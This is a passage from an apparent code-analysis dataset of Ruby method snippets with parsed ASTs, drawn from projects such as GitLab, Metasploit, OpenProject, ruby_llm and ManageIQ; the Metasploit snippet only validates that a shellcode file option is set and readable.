Torture\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of Cooperatives\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Population Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of the World's Indigenous People\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Youth Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for the Remembrance of the Slave Trade and Its Abolition\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[9]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Literacy Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for the Preservation of the Ozone Layer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of Peace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of Older Persons\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Space Week\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Teachers' Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Habitat Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for Natural Disaster Reduction\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Post Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Mental Health Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Food Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for the Eradication of Poverty\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"United Nations Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Development Information Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Disarmament Week\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[11]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for Preventing the Exploitation of the Environment in War and Armed Conflict\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for Tolerance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Africa Industrialization Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Universal Children's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Television Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for the Elimination of Violence against Women\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[29]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of Solidarity with the Palestinian People\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[12]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World AIDS Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for the Abolition of Slavery\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of Disabled Persons\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Volunteer Day for Economic and Social Development\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Civil Aviation Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Human Rights Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Migrants Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]}]}]}","id":"1a8ea122-2bd1-4241-87a7-505eb47633a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/bulk_imports/pipeline_batch_worker.rb","start_line":164,"raw_source":"def cancel_batch\n      batch.cancel!\n\n      logger.info(log_attributes(message: 'Batch tracker canceled'))\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel_batch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch\"]},\"cancel!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[null,\"log_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Batch tracker canceled\"]}]}]}]}]}]}]}","id":"5e4c1df2-25d7-49b9-b861-14ebb86ecd73"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2564,"raw_source":"def target_default_branch?\n    target_branch == project.default_branch\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"target_default_branch?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_branch\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]}]}","id":"83a01be1-ea58-4e75-8347-09d308aeff4d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/custom.rb","start_line":12,"raw_source":"def setup_handler\n    if datastore['SHELLCODE_FILE'].blank?\n      fail_with(Msf::Module::Failure::BadConfig, \"No SHELLCODE_FILE provided\")\n    end\n    begin\n      # read the file before we start the handler to make sure that it is valid\n      test = File.binread(datastore['SHELLCODE_FILE'])\n    rescue => e\n      print_error(\"Unable to read #{datastore['SHELLCODE_FILE']}:\")\n      elog(\"Unable to read #{datastore['SHELLCODE_FILE']}:\", error: e)\n      fail_with(Msf::Module::Failure::BadConfig, \"Bad SHELLCODE_FILE provided\")\n    end\n    super\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHELLCODE_FILE\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"No SHELLCODE_FILE provided\"]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHELLCODE_FILE\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to read \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHELLCODE_FILE\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to read \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHELLCODE_FILE\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Bad SHELLCODE_FILE provided\"]}]}]}]},null]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c5a0bd0d-034e-4a9b-ab6d-07dfc9ea4c2f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/models/two_factor_authentication/device/sms.rb","start_line":45,"raw_source":"def request_2fa_identifier(channel)\n      channel_name =\n        if channel == :sms\n          \"SMS\"\n        else\n          \"Voice\"\n        end\n\n      I18n.t \"two_factor_authentication.devices.sms.request_2fa_identifier\",\n             redacted_identifier:, delivery_channel: channel_name\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request_2fa_identifier\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"==\",{\"type\":\"sym\",\"children\":[\"sms\"]}]},{\"type\":\"str\",\"children\":[\"SMS\"]},{\"type\":\"str\",\"children\":[\"Voice\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"two_factor_authentication.devices.sms.request_2fa_identifier\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redacted_identifier\"]},{\"type\":\"send\",\"children\":[null,\"redacted_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delivery_channel\"]},{\"type\":\"lvar\",\"children\":[\"channel_name\"]}]}]}]}]}]}","id":"b42a8c6e-a80d-46ce-971f-dd03efd346f3"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/gemini/tools.rb","start_line":25,"raw_source":"def format_tool_result(msg)\n          [{\n            functionResponse: {\n              name: msg.tool_call_id,\n              response: {\n                name: msg.tool_call_id,\n                content: Media.format_content(msg.content)\n              }\n            }\n          }]\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format_tool_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"functionResponse\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"tool_call_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"tool_call_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Media\"]},\"format_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"content\"]}]}]}]}]}]}]}]}]}]}","id":"dcfacc0c-1ec5-4094-90ac-e9eb3bef396b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/workflow_spec_helper.rb","start_line":12,"raw_source":"def assert_automate_dialog_lookup(user, category, platform, method = 'get_pre_dialog_name', dialog_name = nil)\n        no_attrs = double(:attributes => [])\n        stub_automate_workspace(dialog_name, user, no_attrs, no_attrs, dialog_name)\n\n        expect(MiqAeEngine).to receive(:create_automation_object).with(\n          \"REQUEST\",\n          hash_including(\n            'request'                   => 'UI_PROVISION_INFO',\n            'message'                   => method,\n            'dialog_input_request_type' => 'template',\n            'dialog_input_target_type'  => 'vm',\n            'platform_category'         => category,\n            'platform'                  => platform\n          ),\n          anything).and_return(dialog_name)\n      end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_automate_dialog_lookup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"category\"]},{\"type\":\"arg\",\"children\":[\"platform\"]},{\"type\":\"optarg\",\"children\":[\"method\",{\"type\":\"str\",\"children\":[\"get_pre_dialog_name\"]}]},{\"type\":\"optarg\",\"children\":[\"dialog_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"no_attrs\",{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"stub_automate_workspace\",{\"type\":\"lvar\",\"children\":[\"dialog_name\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"no_attrs\"]},{\"type\":\"lvar\",\"children\":[\"no_attrs\"]},{\"type\":\"lvar\",\"children\":[\"dialog_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[null,\"MiqAeEngine\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"create_automation_object\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"REQUEST\"]},{\"type\":\"send\",\"children\":[null,\"hash_including\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"request\"]},{\"type\":\"str\",\"children\":[\"UI_PROVISION_INFO\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"dialog_input_request_type\"]},{\"type\":\"str\",\"children\":[\"template\"]}]},{\"type\":\"pair\",